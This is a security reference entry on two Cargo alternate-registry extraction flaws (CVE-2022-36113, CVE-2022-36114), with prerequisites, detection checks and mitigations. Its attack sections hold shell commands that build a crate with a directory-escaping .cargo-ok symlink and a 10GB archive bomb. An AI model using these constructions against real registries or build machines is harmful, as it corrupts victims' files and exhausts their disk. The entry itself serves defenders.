Cargo Alternate-Registry Extraction Attacks

cargo Supply Chain medium Linux macOS Windows
Cargo versions before Rust 1.64 accepted two malformed archive patterns from alternate registries. CVE-2022-36113 allowed a crate-supplied .cargo-ok symlink to redirect Cargo's final two-byte "ok" write and corrupt one file. CVE-2022-36114 allowed an archive to expand without a size limit and exhaust disk space. crates.io users were not affected because crates.io already rejected these packages. [1][2][3][4]

Prerequisites

  • Ability to publish a crafted crate to an alternate Cargo registry that accepts malformed archives
  • The victim must use Cargo older than Rust 1.64 and download the crate from that registry
  • For CVE-2022-36113: the target filesystem must support symbolic links
[1][2][3][4]

Attack Scenarios

Symlink-Directed Two-Byte File Corruption (CVE-2022-36113)

An attacker crafts a crate whose .cargo-ok entry is a symbolic link to a file outside the extraction directory. After extraction, vulnerable Cargo writes the two bytes "ok" through that link, replacing the target file's first two bytes. This corrupts one chosen file but does not provide an arbitrary-length write.

[1][2][3][4]
Conceptual attack: crafting a crate with a malicious symlink
# The attacker manually constructs a .crate tarball
# containing a symlink that escapes the extraction directory

mkdir -p evil-crate-0.1.0/src
echo 'fn main() {}' > evil-crate-0.1.0/src/main.rs
cat > evil-crate-0.1.0/Cargo.toml << 'EOF'
[package]
name = "evil-crate"
version = "0.1.0"
edition = "2021"
EOF

# Vulnerable Cargo writes "ok" to .cargo-ok after extraction.
cd evil-crate-0.1.0
ln -s ../../../target-file .cargo-ok

# Package into a tarball (bypassing normal cargo package)
cd ..
tar czf evil-crate-0.1.0.crate evil-crate-0.1.0/
Vulnerable extraction from an alternate registry
# Cargo downloads and extracts the crate to:
# ~/.cargo/registry/src/<alternate-registry-hash>/evil-crate-0.1.0/
#
# Cargo follows .cargo-ok -> ../../../target-file and writes two bytes.
# crates.io rejects this archive; exploitation requires an alternate registry.
cargo fetch

Disk Space Exhaustion via Archive Bomb (CVE-2022-36114)

An attacker uploads to an alternate registry a crate whose compressed archive expands to a much larger size. Cargo before Rust 1.64 imposed no extraction-size limit, so downloading the crate could exhaust disk space. crates.io already rejected such packages.

[1][2][3][4]
Conceptual archive bomb construction
# Create a file with highly repetitive content that compresses well
# A few KB compressed can expand to many GB
dd if=/dev/zero bs=1M count=10240 > evil-crate-0.1.0/src/data.bin
# The resulting .crate file is small but extracts to 10GB+
tar czf evil-crate-0.1.0.crate evil-crate-0.1.0/
Victim's build fails due to disk exhaustion
cargo build
# Error: No space left on device
# The CI/CD runner or developer machine runs out of disk

Detection

Check Cargo version for known patches

Verify that Cargo comes from Rust 1.64.0 or later, which includes fixes for both extraction flaws.

[1][2][3][4]
cargo --version

Monitor disk usage during builds

Set up disk usage monitoring to detect sudden spikes during cargo build operations that could indicate an archive bomb.

[1][2][3][4]
# Monitor disk usage in the cargo registry during builds
watch -n 1 'du -sh ~/.cargo/registry/src/ 2>/dev/null'

Scan for symlinks in extracted crates

Check for unexpected symbolic links in the cargo registry source directory.

[1][2][3][4]
find ~/.cargo/registry/src/ -type l -ls

Mitigation

  • Update Rust and Cargo to version 1.64.0 or later, which includes patches for both CVEs
  • Set disk quotas on build environments to limit the impact of archive bombs
  • Use containerized build environments with limited disk space allocation
  • Monitor disk usage in CI/CD pipelines and fail builds that exceed thresholds
  • Regularly audit the cargo registry cache for unexpected symlinks or large files
[1][2][3][4]

References